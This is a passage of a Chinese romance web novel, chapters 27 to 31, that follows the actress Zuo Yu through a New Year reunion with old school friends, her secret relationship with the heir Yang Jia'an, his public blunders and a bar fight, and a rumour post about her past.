“我不是不可以等，也不是一定要公开谈恋爱，可你总是把你的心事藏在心里，从来不愿意说过我听，我觉得女朋友做成这样也挺失败的。有时候我能看出你心情不好，可是却不知道怎么安慰你，因为你什么都不愿意跟我说。”
杨嘉安语塞。
“算了，不说这些了，今天是除夕，好好跟家人一起过吧。”左榆说完就挂断了电话，奇怪的是，在挂完电话后，她的心情竟然好了不少，那种闷闷的、压抑的感觉消失了。果然，有些话是不能压在心里的。
大年初一，左榆睡到十点多才起床，睁开眼后第一件事情就是拿起手机，却发现有很多未读信息，顿时慌了一下，“该不会又出什么事了吧。”她嘀咕着打开微信，发现都是一些合作者、朋友发来的祝福短信，这才安下心来。
杨嘉安也在零点的时候给她发了一条“新年快乐”，不过那个时候，心情大好的左榆已经睡着了。
她一一回复了大家的新年祝福，最后只剩下杨嘉安，在她犹豫该怎么回复时，陶然突然打来了电话。
她跟陶然已经很久没见过面了，这次难得回家过年，两人必定是要聚一聚的。
陶然：“怎么样，我的大明星，什么时候有时间陪我去逛街？”
左榆：“初六之前随时都可以，我随喊随到。”
陶然：“你竟然还真有这么闲的时候？那这日不如撞日，就今天吧。”
左榆：“我没问题。”
陶然：“那我一会儿去接你。”
打完电话后，左榆急忙起床洗漱，把回杨嘉安微信的事抛在了脑后。早餐还没来得及吃，陶然已经到她家楼下了。
两人一见面自然少不了一个热情的拥抱，“走，今天我当你的司机。”陶然说着，将左榆带到自己的车前。
“你什么时候考的驾照，我怎么记得你以前说打死都不学开车。”左榆坐进副驾驶，打趣了陶然一句。
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“失恋的时候考的，总要找点事干吧，不然我怕我走不出来。”陶然说得轻松，但表情中仍然带着一丝忧伤，左榆知道她刚跟宋浩然分手到时候有多难过，偏偏那时候的左榆没办法去她身边安慰她。
“你可别这么看着我，我现在已经走出来了。”陶然瞥了一眼左榆，“快收起你眼中的那份遗憾吧。对了，忘了跟你说，我被调到了总公司，明年要去海市上班了。”
“真的啊？那我以后去海市出差就可以跟你见面了。”
两人一路闲聊，很快就到了目的地，是她们以前经常来的一家商场。
商场还是之前的商场，但是里面的店铺已经更换得差不多了，唯一一个从她们高中时期开到现在的店，竟然还是一家电玩城，不过里面的机器已经更新换代。高中的时候，他们四个人每次来电玩城，就会待一整个下午。
“进去玩玩？”路过的时候，左榆突然提了一嘴。
“行，那我去买币。”
陶然抱着整整一篮子游戏币回来时，左榆眼睛都瞪大了，“你买这么多干吗？”
“好久没玩了，要玩就玩个痛快。”
陶然说完，两人相视一笑，开始在电玩城里疯狂走位，玩到累得气喘吁吁时，一看篮子里的游戏币，还剩一大半。左榆开始搜寻玩起来不累的机器，最终锁定在了娃娃机上。可让她没想到的是，夹娃娃不仅累人，还考验心脏负荷能力，每每看到娃娃就要到洞口时，爪子就突然变松，整个心脏提到嗓子眼又陡然下降。两人抓了半天，一个娃娃都抓没到手。
“哎，不玩了，都是骗钱的。”陶然气急败坏，抱着游戏币准备撤退，哪知一转身却撞到了一个高大的身影，“不好意思，不好意思。”她眼都没抬，边道歉边撤离。
左榆整个人却愣在了原地，因为被陶然撞到的人不是别人，正是宋浩然，而陶然似乎还没有发觉。
“喂，陶然！”左榆试图叫回陶然。
“怎么了？”陶然这才抬头看过来，她一眼就看到了宋浩然，脸腾得一下就红了，立即低下头装作很忙的样子。
“好久不见。”宋浩然缓缓走到陶然面前。
“嗷，是你啊，好久不见。”陶然语气听起来平静随意，没人知道她心里有多慌张。
直到左榆走到两人旁边，宋星辰才跟她打招呼：“好久不见，大明星。”
“你们俩对我的称呼倒是挺一致的，还挺有默契嘛。”左榆笑道。
她刚说完，又有一个身影靠近他们。“浩然。”
听到声音，左榆猛然抬头，果然是张星辰。在看到左榆时，张星辰显然也愣了一下，大概是完全没想到会在这样的时间和地点遇到她。
“没想到我们四个人就这样莫名其妙聚齐了。”宋浩然说道，“要不，一起吃个饭？”
大家都没有异议，就在商场里找了家餐厅吃午饭。就吃午饭的这会儿工夫，左榆就被人拍下来并发上了网。
【新鲜的小鱼，春节跟朋友聚会】
只是平平常常的标题，再加上今天是大年初一，网友们都忙着拜年，没空上网发表评论，所以热度不高，视频和照片大多都是左榆的粉丝们在发来发去，并没有引起多大的讨论度。
另一边的某人，心情就没这么轻松了。
杨嘉安细细查看着网上那些左榆的照片和视频，最后停留在左榆跟张星辰的一张同框照上。
28. 第 28 章
吃完午饭，本以为大家就此散了，宋浩然却提出去唱歌。在这一顿饭的时间，左榆细细观察了宋浩然对陶然的态度，总结出一点就是，两人虽然分手很久了但彼此应该还念着对方，既然宋浩然主动提出聚会继续，应该是有意跟陶然待久一些。
“行啊。”左榆快速回应，陶然和张星辰也只好应下了。
“我来订包厢。”
宋浩然订了一间离这里有些距离的KTV，订好后，几人就去了停车场。陶然和张星辰都是开车来的，左榆原本坐的是陶然的车，但为了给陶然和宋浩然多一点独处的时间，左榆主动提出坐张星辰的车，这让张星辰有一些意外。
左榆没有坐副驾驶，而是习惯性坐到了后座。一路上，两人没怎么说话，左榆时不时拿出手机刷几下，张星辰不时从车内的后视镜里偷看左榆。他不是没有话想对左榆说，只是如今左榆的身份让他望而却步。
半小时后，四人抵达了目的地。大年初一的下午来KTV唱歌的人少之又少，前台小妹妹见到宋浩然时满脸笑意，从两人的对话中能听出他们像是熟识的，最后还给他们升级到一间豪华大包。
“这也太大了。”左榆进门后惊呼了一声，都快听到回音。
“大点好啊，大家分开坐，不挤。”陶然说着，在长沙发的最边上坐了下来。
宋浩然坐在另一边，张星辰坐在了宋浩然的旁边，坐下后也没有人点歌，为了缓解这种尴尬的局面，左榆点了几首WINGS的快歌，在她奋力唱了几首歌后，气氛才渐渐活跃起来。宋浩然点了几首他和陶然以前都喜欢的歌，还递给她一个麦。陶然没说什么，默默接过了麦。
几人唱了约摸一个多小时后，左榆看了看时间，已经是四点多了，她眼看着陶然和宋浩然两人从长沙发的两端逐渐靠近，意识到自己再待下去就不识趣了，找了个借口出了包厢，又在外面给张星辰发了条微信，把他也叫了出来。
【小鱼干儿：我跟张先走了，你们俩慢慢玩。】
左榆最后给陶然发了条微信，就跟张星辰一起离开了。
两人走到停车场，上车前，张星辰问了一句：“要回家吗？我送你。”
“嗯。”
左榆答了话，张星辰却站在原地没有动，斟酌许久后问道：“要不，一起去江边走走？”问出这句话后，他怕左榆觉得他唐突，又补充了几句，“我就是感觉很久没见了，现在时间也早，当然如果你不方便的话就算了。”
“走吧。”左榆一口答应下来，“和朋友去散散步，没什么不方便的。”
听左榆这么一说，耷拉了一天的张星辰总算有些精神了，他帮左榆拉开了后座的门，心情是今天在见到左榆后最轻松的一刻。
虽说广市的冬天不冷，但江边的风还是有点大。两人沿着江边走了一会儿后，张星辰提议还是去背风的地方坐着。
“这两年你都没联系过我们了，毕业后在做什么工作？”左榆先打开了话题。
“看到你在娱乐圈出道的那天，我为你开心的同时也觉得你不再是从前的那个左榆了，我不知道学生时代的朋友继续跟你联系，对于你来说是好事还是坏事，所以就……”张星辰只说了一半原因，另外一半原因是，看着星光闪耀的她，他望而却步。
“那如果我出道后没有红起来，变成小糊咖，你还会这么认为吗？”
“不会，但没有这种可能，因为现实已经发生了。”
“这只是我的职业，有顶峰就会有低谷，但不管是什么时候，你们都是我学生时代最好的朋友，这一点毋庸置疑，不管对着谁，我都会这么说。”
张星辰眼角瞟向左榆，嘴角勾起了笑容。“毕业后，我在我爸的公司上班，普通上班族。”
“你爸的公司，你管这叫普通上班族啊？”左榆白了他一眼。
“拿固定薪水，朝九晚五，怎么不算普通上班族？”张星辰回怼了一句。
两人这一来一往，似乎又回到了学生时代。
左榆本以为这次散步会在尴尬中潦草结束，没想到她跟张星辰越聊越起劲，转眼夜幕降临了。
在张星辰准备送左榆回家的时候，陶然在沉寂已久的四人小群里发了条微信。左榆和张星辰不约而同点开，原来是他们刚刚又被人拍到发上网了。
【桃子不小：你俩现在还在江边吗？】
【Z。：你终于换掉那个三个A的昵称了吗？】
【桃子不小：这不是重点。你们现在到底还在不在一起？】
【小鱼干儿：在，现在正准备回家。】
【桃子不小：那干脆先别回了，一起再吃个晚饭吧。】
【小鱼干儿：行。】
于是，兜兜转转，四个人又坐到一桌了。
左榆本想问陶然，她不在的这两个小时有没有发生什么，但见陶然和宋浩然之间的关系状态比刚见面时还要差，和好的猜想似乎破灭了，就没再问。
几人点完餐后，陶然又让服务员拿几瓶啤酒过来，左榆懵了一下：“好好的，喝什么酒呢？”
“好久没见，开心嘛，开心就喝几杯。”说话间，服务员送来了啤酒，陶然当即开了一瓶，给大家都满上。
“可是你今天还开车呢！”左榆抓住了她正想要端起酒杯的手。
“让她喝吧，我开车送她回去。”宋浩然说道。
“不需要，我可以叫代驾。”陶然都没有看宋浩然一眼，“小鱼，你陪我喝几杯吧。”
“那就喝一点，我不能喝多啊。”左榆隐约感觉到陶然和宋浩然之间应该是发生了什么不愉快的事，当下，她只能先安抚陶然的情绪。
左榆才喝一小口，陶然一杯酒已经下肚，接着又是吨吨几杯……
一顿饭下来，饭菜没吃几口，酒倒是喝了不少。
“你不能再喝了。”陶然都快喝趴下了，依旧拿着酒杯不放，左榆只好夺走了她手中的酒杯。
“我先送她回家。”宋浩然说完，扶起醉酒的陶然往外走去。
“时间不早了，我们也走吧。我去买单，你去车上等我。”张星辰说着，将车钥匙递给左榆。
“嗯。”
左榆也喝了好几杯酒，虽然谈不上醉，但头也有些晕晕的。坐上张星辰的车后，晕晕乎乎的她打算闭眼休息一下，等张星辰买完单回来时，她已经睡着了。<
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p>不知道左榆已经换房子的张星辰将她送到了之前的那个家，到楼下后才轻轻叫醒她。左榆迷迷糊糊睁开眼，看到车窗外的街道后又闭上眼睛，说：“我家不在这里。”
“不在这里？”
“嗯，你送我去一宁路。”
“一宁路？”张星辰担心是左榆喝多了说胡话，想再问个仔细，但左榆又睡了过去，他只好开往一宁路。
一宁路是老城区，临街都是老住宅，晚上的街道也没什么人。张星辰将车开到一宁路的中间路段，再次轻轻叫醒了左榆。睡了这一路，左榆的精神好些了，在车里又缓了一阵后才下车。
张星辰紧跟着下了车，几步走到左榆旁边，“你家在哪里，我送你过去吧。”
“没事，我现在已经清醒了，往那边走两百米就到了，我可以的，你回去吧。”左榆朝右手边指了指，却突然一阵晕眩，整个人晃晃悠悠就要倒下时，张星辰以迅雷之势托住了她的腰。
“我不放心，还是我送你回家吧。”
在张星辰说话间，从后面突然闪现出一个人影，轻轻捉住左榆的手臂，将她拉离了张星辰身边。
“我送她就行了。”
张星辰定了定神，仔细辨认了眼前的人，“是你啊，行吧。”他冷笑一声，随后转身回到车内，开车扬长而去。
一阵冷风出来，左榆又清醒了几分，在看清眼前的人是杨嘉安后，她傻了。
“你怎么来了？”
“我再不来，你是不是要被人拐跑了？”
“瞎说什么呢？”
左榆推开杨嘉安的手，往右边走去。杨嘉安亦步亦趋，跟在她身后。
先前张星辰去错了地方，一来一回花了不少时间，此刻夜已深，街道静悄悄，昏黄的路灯将他们的身影拉长又缩短。杨嘉安看着左榆的背影，一次又一次地尽力按捺内心的冲动，却在走进楼梯口时，再也按捺不住。
他拉住左榆的手，扯入怀中，借着路灯照进来的微弱灯光，低头吻上了她的唇。
左榆被这突如其来的动作吓了一跳，条件反射挣扎了出来。
“你干吗呢？”左榆不解。
“我想你了。我在网上看到你跟他在一起，我想到那一年，我给你打电话的时候，你也是正跟他在江边散步。那个晚上，你可能不知道我心里有多酸，我有多想你。我只怪自己不能在你身边陪着你，所以今天，当我看到网上那些照片时，我就以最快的速度来了广市，这一次，我想我可以立刻来到你身边。”
左榆看不清杨嘉安说话时的表情，但见一双眼睛在黑暗中格外明亮。杨嘉安身上穿着一身正装，能瞧出是刚从正式场合下来就匆匆赶了过来。
“我给阿姨打了电话，阿姨说你还没回家，我就一直在这里等，等到这街道都没什么人了，我突然想到，那一年，你是不是也是这样在黑夜里等我的。在等待的时候，我脑子里不停胡乱猜测，也想过你今晚会不会就不回家了。只是我幸运，我等到了你，而那年，你没能等到我。对不起啊，小鱼。”
杨嘉安的一番话让左榆有些破防，这些天，她不是不想他，只是心中实在委屈，却又不知道如何发泄。
29. 第 29 章
一直站在楼道里总归不好，万一遇上晚归的人，也挺不好意思的。但是左榆更担心如果让杨嘉安上楼坐坐的话，场面会更尴尬。
“我带你去个地方。”杨嘉安说。
“什么地方？”
“走。”杨嘉安没有明说，只是拉着左榆走出了楼道。
晚上不好打车，他们在路边等了许久，杨嘉安才打到一辆网约车。上车后，他仍旧没有说要去什么地方。
车窗外的街景越来越熟悉，左榆渐渐发现，这是去她从前那个家的方向，心中虽是这样猜测，但没有问出来，直到车子停在小区门口。
“你带我来这里干什么？”她疑惑。
“回家啊。”
自从这套房子卖出去后，左榆再也没踏进过这个小区，今天却是两次来到这里，第一次是张星辰送她来，第二次是杨嘉安。
左榆跟着杨嘉安进小区，上楼，最后停在了从前那个家的门口。“我们到这里来干什么？”她疑惑地看着杨嘉安。
“上次偶尔发现这套房子在出售，就买了下来，按照我的记忆将房子的布局还原到你们住的时候，但没办法做到一模一样。”杨嘉安熟练地打开门，示意左榆进去。
左榆满脸诧异，进屋后环顾了四周，布局确实跟从前她住的时候差不多，只是有一种熟悉又陌生的感觉。
“一直不知道该怎么跟你说这事，因为我不确定你知道这事后会是什么反应。”杨嘉安淡淡道，他想了很多，不知道左榆会是开心，还是因为睹物思人而难过。
左榆缓缓坐在客厅沙发旁边的地上，之前，在跟妈妈决定好卖房的那天晚上，她也是这样在地上坐了一晚。
她说不清自己此刻的心情，没有非常开心，但也不至于难过，在这房子里，她度过了这辈子最无忧无虑的时光，虽然那时的她并不这样认为。
杨嘉安默默坐到她身边，“我不知道我这样做是对还是错，但是这些年我常常在想，如果当年我没有出国，是不是很多事情就会变得不一样。小鱼，你想听听我那时出国的原因吗？”
左榆怔了怔，从自己的思绪中回过神来，“你说。”
那年，杨嘉安的妈妈病重，不得不去国外接受治疗，即便杨妈妈多次表示自己独自前往就行，但外公外婆不放心，希望杨嘉安陪同前往。杨嘉安虽然舍不得左榆，但面对病重的妈妈，他没有选择。
出国的那天，他们的飞机在广市转机，那天，也是左榆去大学报到的日子，他们在同一个机场，飞向了不同的地方。
去到国外后，杨妈妈起初的治疗很有效果，病症减轻了许多。杨嘉安数着日子，如果妈妈的病好了，他就可以回国。杨妈妈不是没发觉他的小心思，在身体逐渐好转后，她主动提出让杨嘉安回国。
“妈妈是过来人，知道你在想什么。正因为我自己走过这条路，所以我不会劝你，只要你认为是对的，你就去做，别管别人怎么说。人生短短三万天，如果处处都是遗憾，不如不来这世上。”杨妈妈其实心里很清楚，自己的病是好不了的，只能反复接受治疗，她不想一直拖着杨嘉安，不希望儿子因为自己而失去青春。
杨妈妈好不容易说服了杨嘉安，然而就在杨嘉安准备回国时，她的病再次恶化。
等到杨嘉安真正回国，时间已经过去了几年，一切都发生了变化，左榆进了娱乐圈，杨嘉安开始接手外公的公司。
“那阿姨她……”左榆依稀感觉到是一个不好的结局。
杨嘉安眼角低垂没有回答，但左榆得到了答案，她轻轻握住他的手，此刻只想给他一些安慰。
“我妈认识我爸的时候年龄不大，”沉默了好一阵后，杨嘉安缓缓开口，“她非常喜欢我爸，不顾一切就想要跟他结婚，外公嫌弃爸爸出身不好非常反对他们，但妈妈不顾外公的反对，还是跟爸爸结婚了。他们生活得很开心，嘴硬心软的外公在妈妈有了我之后，给妈妈买了一栋别墅，那栋别墅，你去过的。外公为了将爸爸打造成他理想的样子，不断给他加压，有一天，他睡着了，再也没有醒来。”
杨嘉安说到这里时，左榆的心狠狠抽痛了一下，她从来没想过，原来杨嘉安的心里会是这么苦。
“爸爸离开后没多久，妈妈也生病了，为了治病，她去了海市外公那边，而我选择留在了奶奶家。再后来的事，你已经知道了。”
左榆侧了侧身，轻轻抱住了杨嘉安。
杨嘉安抬手，亦抱住了她，将头抵在她的肩膀上，第一次向她展示了自己柔弱的一面。
杨妈妈生病后，外公将一切源头都归结在杨嘉安爸爸身上，他始终觉得如果他们当初没有在一起，可能一切都会不同。他不认同左榆，因为在他眼里，左榆跟杨嘉安爸爸一样，都是不合适的人。对于杨嘉安来说，外公、外婆，还有奶奶是他仅剩的亲人，加上外公身体状况肉眼可见地变差，所以他事事都顺着外公。
“我会想办法说服外公，不会很久的，你可以等等我吗？”杨嘉安说话时鼻音变重了。
“嗯。”左榆鼻子一酸，“等你，当然等你。”
杨嘉安只在广市待了两天，就被叫回了海市。临别前，他跟左榆说了自己接下来的一些行程，当中包括要去国外祭奠一下妈妈。送走杨嘉安，左榆在家里待了两天后也开工了。不能见面的日子，杨嘉安每天都会跟左榆说一说自己去了哪里做了什么。
这天，左榆完成当日的拍摄后回到酒店，闲下来时刷了会儿手机，居然在热搜上看到了杨嘉安的名字，热搜话题是#许玖杨嘉安海外同游#。她点进词条里，果然是看到一些杨嘉安和许玖的同框图频，两人看似悠闲地在海边散步。根据时差来计算，这些内容应该是昨天的。
“姐，你看到热搜了吗？”小朵拿着外卖慌慌张张从外面进来。
左榆虽然从未明说她跟杨嘉安的关系，但小朵聪明机灵，早就能猜出来，所以一看到杨嘉安和许玖的热搜，立马就急了。
“看到啦。”左榆波澜不惊
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，并没有被热搜影响心情。
“你不生气？”小朵问。
左榆接过小朵手中的外卖，她点的是蔬菜鸡胸肉沙拉，虽然难吃，但为了在拍戏期间维持身材，不能不尽量克制。“有什么好生气的，我知道他这两天在国外，也知道他去国外干什么，至于为什么会跟许玖在一起，晚点应该就会知道。”
果不其然，过了一顿晚餐的时间，杨嘉安给左榆打来了电话，他甚至没有发微信，而是直接打电话。
“这个事我要好好跟你说一下。”电话一接通，杨嘉安就迫不及待要解释，“是外公得知她也在这里，就跟她说了我的住址。昨天见面，我只是跟她在海边走了一会儿，也没想到就被人拍到了。”
杨嘉安话音急切，就怕左榆生气。他原本还没睡醒，是秦晖打电话吵醒了他，跟他说了热搜的事。
“我没生气。”左榆笑道，“你什么时候回来？”
“下周，这边还有点事要处理，我尽快。”杨嘉安松了口气。
……
一周后，杨嘉安回国了，但左榆一直忙于拍摄。左榆闲下来的时候，杨嘉安又在异地出差，从初春到暮春，左榆终于结束了新戏的拍摄，本以为能休息一段时间，至少能和杨嘉安见上一面。
但没料到去年拍的戏播出后意外大火，她和男演员不得不增加剧宣行程。因为在剧里面，她和男演员是一对情侣，所以剧外宣传的时候未免会表现得亲密一些。杨嘉安已经非常刻意不去关注左榆的这些“亲密”画面，但手机的推送一条都没少。
这天是左榆和男演员的合体直播，杨嘉安本不知道直播的事，在完成手上的工作后，他只是看了一眼手机，就被推送了直播。
一进直播间，他就看到左榆和那位男演员紧挨着坐着，评论区全是磕糖的网友。
【网友A：我的老天奶，能不能让这对璧人锁死，太好磕了。】
【网友B：他们真的没在一起吗？可是那些小细节明明就是情侣之间的互动啊】
【网友C：锁死吧！】
杨嘉安实在看不下去，也在评论区发了一句“我觉得他们一点都不般配”，只不过是一时的发泄，他本以为自己的评论会瞬间淹没在跳动的公屏，却在看到自己ID的那一刻，整个人都僵硬了。
他，切错微博号了。
他刚刚用来发送评论的号，是认证了他个人信息的大号，而不是平时用来混迹左榆粉圈的小号。
“没事，没事，公屏那么多评论，肯定不会有人在意我这条。”他努力说服自己放松下来。
下一秒，评论区炸了。
【网友E：我是不是瞎了，刚刚好像看到诺辉小杨总的评论。】
【网友F：你没瞎，我也看到了。】
【网友G：哪里，在哪里，我去翻一翻。】
十分钟后，他那条评论的截图出现在各大营销号的微博里。
#诺辉小杨总直播间拆CP#，热搜这就来了。
30. 第 30 章
这个热搜过后，关于左榆和杨嘉安之间关系的猜测越来越多，但双方都没有对此进行任何回复。
“明天下午有时间吗，我刚好在海市拍摄，想请你吃饭。”
中午，杨嘉安刚忙完手上的工作，许玖突然给她发了条信息，他本能想拒绝，许玖紧接着又发来了一条。
“有很重要的事情要跟你说。”
杨嘉安思忖片刻后应了下来。
第二日下午，杨嘉安根据许玖给的地址来到一家高级餐厅。他到的时候，许玖已经在里面等了一会儿了。
“不好意思，有事耽搁了一会儿。”杨嘉安自顾坐下，“你找我有什么事？”
许玖也不绕弯子，意味深长地看了杨嘉安一眼，笑道：“最近网上有很多人在猜测你跟左榆之间的关系，我也很好奇，所以想找个机会当面问问，当然，我也不是想要刺探你的生活，只是你也很清楚我爸爸和你外公有意撮合我们，我对你这个人没有什么意见，但是我不喜欢强人所难，所以觉得还是问清楚比较好。”
杨嘉安细细观察了许玖的神态，但不确定她到底揣着什么目的，所以迟迟没有表态。
“你不用防着我，我只是想要一个答案，不会去伤害谁。”许玖年龄虽然不大，但人很机灵，加上在娱乐圈闯荡了些时日，还是很能通过微表情揣度他人的心思。
她这么一说，杨嘉安心里有了底：“是，我喜欢她，而且喜欢很久了。”他只承认自己喜欢左榆，并未完全交代他和左榆目前的关系。
“果然。”许玖一副猜中了的得意神情，“之前在诺辉的年会上，我就觉得你们之间的关系不普通。你既然喜欢她，为什么不去追呀？凭你的实力，追左榆还算是错错有余吧？”
杨嘉安被戳到了痛处，沉默不语。
许玖恍然：“那我明白了，看来是你外公不让你追。”
她倒是聪明，但杨嘉安并不想听到这些，“问题我答过了，要是没有其他事，那我先走了。”
“别走啊。”许玖拦住杨嘉安，显然已经换上了一副吃瓜的神情，“你外公不让你追，你就不追啦？”
杨嘉安之前倒是没看出来，她还挺八卦，“这应该给你无关吧。”
“怎么跟我无关，现在是双方的家人在撮合我们，我来问个清楚好知道下一步该怎么应对，很正常吧？”为了不让杨嘉安走掉，许玖特地将门关紧了些。
杨嘉安驻足，饶有兴致地问了一句，“噢？那你打算怎样应对？”
“反抗啊！”许玖回答得干脆，“我刚说了，我不喜欢强人所难，绝不会跟一个心不在我身上的人在一起，只要我不愿意做的事，没人能逼得了我；相反，如果是我想做的，我就一定要去做。”
许玖脸上此刻的傲气与洒脱，让杨嘉安很是羡慕，他要顾虑的事情太多了，没办法做到像她这样。
“你放心，我爸以后如果还要我跟你见面，我会拒绝的。希望你也能勇敢一点，喜欢就去努力呗。”
话聊到这里，杨嘉安开始信任许玖，“其实，我跟她在一起了，只是……还不方便让外界知道。”
“啊？”吃到了瓜，许玖的眼睛都亮了，“是不是怕你外公知道？”
“嗯，我担心外公知道后会去阻碍她的发展，以及……”剩下的半句，他没有说出口，除了担心影响左榆之外，他还不知道该怎么反抗才能不伤外公外婆的心。
“那她呢？她会害怕这个吗？”许玖问。
杨嘉安顿住了，他还没想过这个问题，不知道该怎么回答。
“那你打算一辈子偷偷摸摸地在一起吗？”
“当然不是。”杨嘉安反驳，“只是我现在还没有想到好的办法。”
“你不会想到的，”许玖笑道，“因为你害怕坏结果的发生，但按照目前的情况来看，坏结果是一定会发生的。如果我是你，与其举棋不定，不如做好最坏的打算，看看这天到底会不会塌。”
许玖的一番话似乎点醒了杨嘉安，晚上回到家，他开始重新思考眼下的困境，秦晖却不请自来。
杨嘉安将他白天跟许玖的一番对话说给了秦晖听，倒激起了秦晖对许玖的兴趣。
“我还以为她是那种空有皮囊、用钱堆到观众面前的娇滴滴公主呢，没想到她还挺有自己的想法。”
“我没有让你评价许玖。”杨嘉安白了他一眼，“我想听听你怎么看待她说的话。”
“我觉得她说得很有道理啊，我也不知道你一天天都在瞎想什么。如果你不能说服你外公，要么你选择左榆，要么你选择你外公。”
“是你的话，你会怎么选？”杨嘉安反问。
“我……”秦晖也想了好一会儿，“我选择舒坦有钱花的日子，反正时间会治好所有的伤。”他说这话时，眼角闪过一丝让人不易察觉的忧伤。
杨嘉安摇摇头，“问你也是白问。”
“那你别问了。我今晚是来找你喝酒的，我一朋友的酒吧今天开张，一起去捧捧场。”
杨嘉安本不喜欢去酒吧这种吵闹的地方，但既然秦晖上门来叫他，加上他心情确实烦闷，就答应了一同前往。
因为是正式开业的第一天，酒吧的人很多，很是热闹。秦晖知道杨嘉安不喜欢喧闹，特地让朋友留了一个稍微安静的角落。
“哎呀，别想那么多了，既然来了酒吧，就好好放松一下心情，来。”秦晖说着，递上一杯酒。
杨嘉安默默接过酒杯闷了一大口。
“女明星又怎么样，娱乐圈乱得很，别看那些女明星表面光鲜亮丽，私生活乱着呢。”
旁边卡座的聊天声传进杨嘉安和秦晖的耳中，看起来是几个纨绔子弟模样的年轻人。
“那个女团出道的，叫左什么的，哦对，左榆，外表看起来是不是清纯得可以掐出水来，还不是沦为资本的玩物，我一个朋友说了，给钱就行，多少的问题罢了……”
心情不好又喝了酒的杨嘉安听到这话，怒意冲上头顶，随手拿起一瓶酒几步走到那几个人面前，“嘭”的一声，酒瓶子就砸到了说话人的头上，场面当即混成一团。其中一个人趁乱抓起一个酒瓶想往杨嘉安的身上砸，但被秦晖一脚踹开了。
混乱中，有人报了警。最后，杨嘉安、秦晖，以及现场的那几个年轻人都进了派出所。
当杨嘉安从派出所出来的时候，关于杨嘉安在酒吧与人互殴的事也上了热搜。
“姐，你看热搜。”保姆车上，小朵靠近左榆耳边小声说道。
左榆刚结束一场活动，正在回家的路上。她疑惑地拿出手机，点开微博热搜榜，看到“杨嘉安互殴”这几个字时，心脏咯噔一下，快速浏览了几条微博后，她急忙给杨嘉安打去电话，但迟迟无人接听。
【小鱼干儿：我看到热搜了，你没事吧？】
她又发了微信过去，但直到她到家，也没收到回复。
到家后，她又给秦晖打去电话，在得知杨
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嘉安已经平安到家后才安下心来。
“他为什么会在酒吧跟人打架？”知道人没事后，左榆才开始询问事情发生的缘由。
“大概是因为他听到那几个小子说你的坏话，一下就急了吧。”秦晖答。
“我？”
秦晖将事情的始末都说了一遍，左榆听后，暗自在心里骂杨嘉安傻。
“你最近要是有时间的话，跟他见个面吧。”挂电话前，秦晖急着补充了一句，“你们应该很久没见了，我感觉他想你想得快疯了。”
仔细算一算，左榆确实已经很久没跟杨嘉安见过面了，上次直播杨嘉安切错号的事情后，她本打算趁着去海市拍摄的间隙见一面，但也没能如愿。她又何尝不想他呢。
洗完澡后，左榆又给杨嘉安打去电话，这次电话通了。
“喂。”电话那端的声音听起来有些迷糊。
“你在睡觉吗？”左榆轻声问。
听到左榆的声音，杨嘉安清醒了不少，“嗯，刚醒。”
“我看到热搜了，先前给你打电话，你没接，所以我又给秦晖打了电话，他跟我说了事情的经过，你现在怎么样？”左榆关切问道。
“我没事，回来之后睡了一觉，没听到电话声，对不起啊。”
“我后面两天没有行程，我过去找你吧，我们很久没见面了。”
左榆本以为杨嘉安会非常乐意地同意，没想到他说：“不用了，你好不容易休息两天，别在跑来跑去奔波了。”
左榆脸上闪过一丝失望，秦晖不是说杨嘉安很想她吗，怎么又不愿意见面呢。
“我过去找你就行了。”杨嘉安紧接着又说了一句，左榆脸上立即多云转晴。
“好呀，那你确定了航班后告诉我，我明天让小朵去机场接你。”
“嗯，明天见。”
想到明天就能见到杨嘉安，左榆感觉一身的疲劳立马消失了，敷了面膜后早早就睡下了。
凌晨时分，手机铃声吵醒了睡梦中的她。
“喂。”她眯着睡眼接听电话。
“姐，不好意思打扰你睡觉，但是楠姐说了务必现在要联系上你，你快看看微信。”小朵急促的声音让左榆慌了一下，立马清醒了。
挂掉电话后，她打开微信，在她、小朵和楠姐的三人群里有好几条未读信息。
【夜深人静，来说一说左榆读书那会儿就喜欢抢别人男朋友的事吧……】
这是一篇发在某个社区的长文帖子，与之前模棱两可的造谣不同，这篇长文指名道姓，说左榆在学生时代抢了别人的男朋友，并且明说了被拆散的情侣是诺辉的小杨总和诺辉的市场总监林毓敏，文中还附上了一些杨嘉安跟林毓敏的合照，看起来非常有说服力。
【楠姐：@小鱼干儿爆料的内容是真是假？】
【楠姐：@小鱼干儿迅速些，我们要做相应的公关方案。】
……
左榆一时之间不知道该怎么说，虽然杨嘉安跟她说过有关林毓敏的事，但她无法确定，自己那个时候对于他们来说，到底算不算是第三者。同时，她不知道爆料者的手上还有哪些证据，不敢冒然表态。
就在她六神无主时，楠姐又发过来一条微信。
【楠姐：我现在去你家。】
左榆不知道这件事会如何发展，但她知道，明天肯定是没办法跟杨嘉安见面了。
【小鱼干儿：出了点事，你明天还是别过来了。】
31. 第 31 章
三更半夜，正是谣言在网络上疯狂滋长的时候，如果不及时掐断，发酵到明天的话，指不定会出现什么更严重的局面。
楠姐很快就到了左榆家，对左榆进行了各种“盘问”，左榆如实回忆了她之前跟杨嘉安之间的点点滴滴。
“所以，小杨总那时候确实是有女朋友？”楠姐揉了揉眉心，一脸疲惫。
“我不知道，我只记得他说过那时是已经分手了，但这只是他对我说的，我并不知道他对林毓敏是怎样说的。”左榆如实回答。
“那你们……现在是什么关系？”
左榆心头一颤，既然到了这一刻，她也无法再隐瞒什么，“男女朋友。”
“那也好办，这事看来只能让小杨总来为你澄清，你联系他了吗？”楠姐继续问。
“他现在应该在睡觉，你来之前，我给他发了微信。”
“发微信有什么用，你给他打电话啊。”楠姐急了，有些恼怒。
左榆却拿着手机陷入沉默，她不是没想过直接打电话过去，但她不知道该怎么开口，如果那时候的杨嘉安跟林毓敏之间确实有没斩断的情分，难道她要他为了她而否认自己的过去吗？她并不想这样做。
“明天吧，他醒后看到微信会联系我的。”左榆淡淡道。
楠姐看了一下舆论走向，发现势头降下去了很多，虽然各个平台还在联动，但围观的人明显少了很多。“也是，如果小杨总现在澄清，速度太快反而让人觉得刻意，说不定还会认为我们是串通好的。那就明天再说吧。”
楠姐离开后，左榆根本无法再入睡，并非是因为舆论，而是那几张杨嘉安和林毓敏的合照搅得她的心难以平静。从照片上的衣着来看，这些应该是他们高中时候拍的，杨嘉安眉眼之间的青涩以及看向林毓敏时的深情，让她有些羡慕，有些嫉妒。
“如果我早些时候认识你该有多好，我也想被青涩时期的你当作全世界，拥有你眼底深处最纯的柔情。”
第二日清早，杨嘉安醒来第一件事就是看手机，本想着问问左榆醒了没，在看到微信消息后当即有不好的预感。他正准备打电话过去时，手机恰好响了起来。
………………
【楠姐：怎么样？小杨总有没有联系你？】
